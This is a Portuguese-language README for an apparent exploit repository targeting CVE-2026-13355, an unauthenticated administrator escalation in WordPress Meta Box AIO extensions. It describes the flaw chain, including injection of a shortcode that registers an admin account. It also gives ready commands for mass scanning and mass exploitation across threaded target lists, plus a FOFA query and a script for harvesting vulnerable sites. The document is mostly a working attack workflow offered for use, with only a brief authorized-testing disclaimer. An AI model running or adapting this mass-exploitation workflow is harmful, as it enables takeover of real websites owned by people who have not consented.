CVE-2026-13355 — Escalação de Privilégios para Administrador Não Autenticado no Meta Box AIO

Prova de conceito em Python 3 — scanner e exploit para CVE-2026-13355 no pacote WordPress Meta Box AIO (e extensões relacionadas MB Frontend Submission / MB User Profile).

Resumo

Falhas encadeadas em duas extensões empacotadas permitem a criação de conta de administrador sem autenticação:

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id sobrescreve o alvo do formulário sem autenticação; Form::process() omite user_can_edit(), permitindo que atacantes usem wp_update_post() e sobrescrevam post_content em posts/páginas arbitrários.
2. MB User Profile (mbup) — Atributos injetados no shortcode [mb_user_profile_register role="administrator" auto_login="true"] são confiados sem validação de função.

Importante: A cadeia de exploração requer um formulário mbfs (envio pelo frontend) público, não formulários mbup apenas de login. Muitos resultados do FOFA expõem apenas a interface de login/registro mbup — esses são sinalizados como plugin_mbup_only, não exploráveis por esta cadeia.

Requisitos

• Python 3.8+
• pip install -r requirements.txt

Início rápido

pip install -r requirements.txt

# Alvo único — verificação (fluxo de terminal ao vivo por padrão)
python poc.py -u https://target.example --mode check

# Verificação em massa (uma linha por alvo, a menos que --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Alvo único — exploit (requer URL do formulário mbfs + ID do post)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Exploit em massa a partir da saída da verificação
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → lista de alvos

Consulta de exemplo:

body="/wp-content/plugins/meta-box-aio/"

Normalizar uma exportação CSV do FOFA:

python fofa_to_list.py -i fofa_export.csv
# grava list.txt + CSV normalizado (apenas local, ignorado pelo git)
python poc.py --list list.txt --mode check --threads 20

Opções da CLI

Arquivos de saída

Use --vuln-list exploited.txt em execuções de exploit para que os acertos da verificação em hits.txt não sejam sobrescritos.

Valores de status da verificação

Notas sobre o exploit

• A etapa de envenenamento envia post_content via POST através de um formulário mbfs com ?rwmb_frontend_field_object_id=<id>.
• O sucesso requer que o shortcode injetado seja renderizado na página envenenada (sem strip/KSES, plugin corrigido, tipo de formulário errado).
• Formulários mbfs de contato/newsletter frequentemente não possuem um campo post_content real; a sobrescrita pode ainda falhar na prática.
• HTTP 403 no POST geralmente indica bloqueio por WAF/host.

Estrutura do repositório

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Listas de varredura locais e artefatos de execução (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) estão no .gitignore e não devem ser commitados.

Referências

• NVD — CVE-2026-13355
• Aviso da Wordfence
• Changelog do Meta Box AIO

Legal

Apenas para testes de segurança autorizados e educação. Você é responsável pelo cumprimento das leis aplicáveis e das regras do programa.